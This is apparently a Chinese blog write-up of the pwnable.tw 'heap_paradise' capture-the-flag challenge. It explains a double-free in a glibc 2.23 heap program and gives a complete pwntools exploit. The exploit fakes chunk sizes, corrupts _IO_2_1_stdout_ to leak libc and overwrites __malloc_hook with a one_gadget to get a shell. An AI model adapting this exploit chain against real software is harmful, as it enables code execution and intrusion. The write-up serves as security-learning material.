【tw】heap_paradise

程序

在这里插入图片描述
程序流程很简单,最多16次 add 的机会,size < 0x78,add 时读入数据。
在这里插入图片描述
delete 时很明显的一个 free 指针未置空。

利用条件和限制
  • libc 2.23
  • add 次数有限制,size <= 0x78,不能直接构造 unsorted bin
  • free 指针未置空
利用思路

因为堆布局半天没想出来,所以参考了一波 ~ 甚是巧妙
我最开始想到的是因为不能直接构造进入 unsorted bin 的 chunk,所以首先在堆块内布置好 fake size 和 fake next size 然后通过 double free 修改 fd 指向布置好的 fake chunk 处,制造堆块的 overlap,然后在 add 时即可对 overlap chunk 的 size 进行修改,free 后可以进入 unsorted bin,但是利用 add 的次数会比较多,所以学习了如下制造 unsorted bin 方法:

  • 通过布置好 fake size 和 fake next size,这里在 chunk #1 中要布置两个 fake next size,一个是修改 fd 进入 fastbin 链表时的,一个是修改 size 后 free 进入 unsorted bin 中的,这样进入 fastbin 链表和进入 unsorted bin 都利用了同一个 chunk,节约了 add 次数
	Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
	Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
	Free(0)
	Free(1)
	Free(0)
	Allocate(0x68, '\x20') # 2
	Allocate(0x68, '\x00') # 3
	Allocate(0x68, '\x00') # 4
	Allocate(0x68, '\x00') # 5  fake chunk in chunk #0
	Free(0)
	Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) #6 same as #0
	# unsorted bin
	Free(5)

在这里插入图片描述

  • 因为没有 show 功能,所以需要打 IO_stdout 来进行输出,先将 #0 #1 正常放入 fastbin,然后从 unsorted bin 中切割,此时 overlap chunk #1,将 #1 原本指向 #0 的 fd 指向地址末位为 ‘\xa0’ 处,这里是 unsorted bin 切割 0x80 后余下 chunk 的地址,所以此时该 chunk fd 指向了 libc 中的地址,伪造 fake size,同时和 #1 overlap,所以通过申请原 #1 就可以修改其 fd 指向 stdout
	Free(0)
	Free(1)

	Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
	Free(7)

	Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 8

	Allocate(0x68, '\x00') # 9

	# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
	Allocate(0x68, '\x00' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

	if(u64(rc(8)) != 0):
		raise Exception('no leak')
    	# exit(0)

	libc_base = u64(rc(8)) - libc.symbols['_IO_2_1_stdin_']
	log.success('libc_addr: ' + hex(libc_base))

	main_arena_addr = libc_base + libc.symbols['__malloc_hook'] + 0x10
	log.success('main_arena_addr: ' + hex(main_arena_addr))

在这里插入图片描述在这里插入图片描述

  • 最后还是通过 overlap #1 来修改其 fd 指向 malloc_hook - 0x23,覆写为 one_gadget 完成攻击
	Free(1)
	Allocate(0x78, 'c' * 0x40 + p64(0) + p64(0x71) + p64(main_arena_addr - 0x33)) # 11

	Allocate(0x68, '\x00') # 12
	if sys.argv[1] == "p":
	   one_gadget = libc_base + 0xf0364
	else:
		one_gadget = libc_base + 0xef6c4
	# one_gadget = libc_base + 0xf0364
	Allocate(0x68, 'z' * 0x13 + p64(one_gadget)) # 13
	dbg()

	sla('You Choice:', '1')
	sla('Size :', str(8))
完整exp
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./heap_paradise")

if sys.argv[1] == "p":
	p = process("./heap_paradise")
	# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libc = elf.libc
else:
	p = remote("chall.pwnable.tw",10308)
	libc = ELF("./libc_64.so.6")

DEBUG = 0
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = "You Choice:"
def cmd(idx):
	ru(menu)
	sl(str(idx))

def Allocate(size, data):
	cmd(1)
	ru("Size :")
	sl(str(size))
	ru("Data :")
	se(data)

def Free(idx):
	cmd(2)
	ru("Index :")
	sl(str(idx))

def pwn():
	Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
	Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
	Free(0)
	Free(1)
	Free(0)

	Allocate(0x68, '\x20') # 2
	Allocate(0x68, '\x00') # 3
	Allocate(0x68, '\x00') # 4
	Allocate(0x68, '\x00') # 5

	Free(0)

	Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) # 6 same as #0

	# unsorted bin
	Free(5)

	Free(0)
	Free(1)

	Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
	Free(7)

	Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 

	Allocate(0x68, '\x00') # 9

	# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
	Allocate(0x68, '\x00' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

	if(u64(rc(8)) != 0):
		raise Exception('no leak')
    	# exit(0)

	libc_base = u64(rc(8)) - libc.symbols['_IO_2_1_stdin_']
	log.success('libc_addr: ' + hex(libc_base))

	main_arena_addr = libc_base + libc.symbols['__malloc_hook'] + 0x10
	log.success('main_arena_addr: ' + hex(main_arena_addr))

	Free(1)
	Allocate(0x78, 'c' * 0x40 + p64(0) + p64(0x71) + p64(main_arena_addr - 0x33)) # 11

	Allocate(0x68, '\x00') # 12
	if sys.argv[1] == "p":
	   one_gadget = libc_base + 0xf0364
	else:
		one_gadget = libc_base + 0xef6c4
	# one_gadget = libc_base + 0xf0364
	Allocate(0x68, 'z' * 0x13 + p64(one_gadget)) # 13
	dbg()

	sla('You Choice:', '1')
	sla('Size :', str(8))
	ia()

while True:
	p = process("./heap_paradise")
	# pwn()

	try:
		p = process("./heap_paradise")
		# p = remote("chall.pwnable.tw",10308)
		pwn()
	except:
		p.close()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值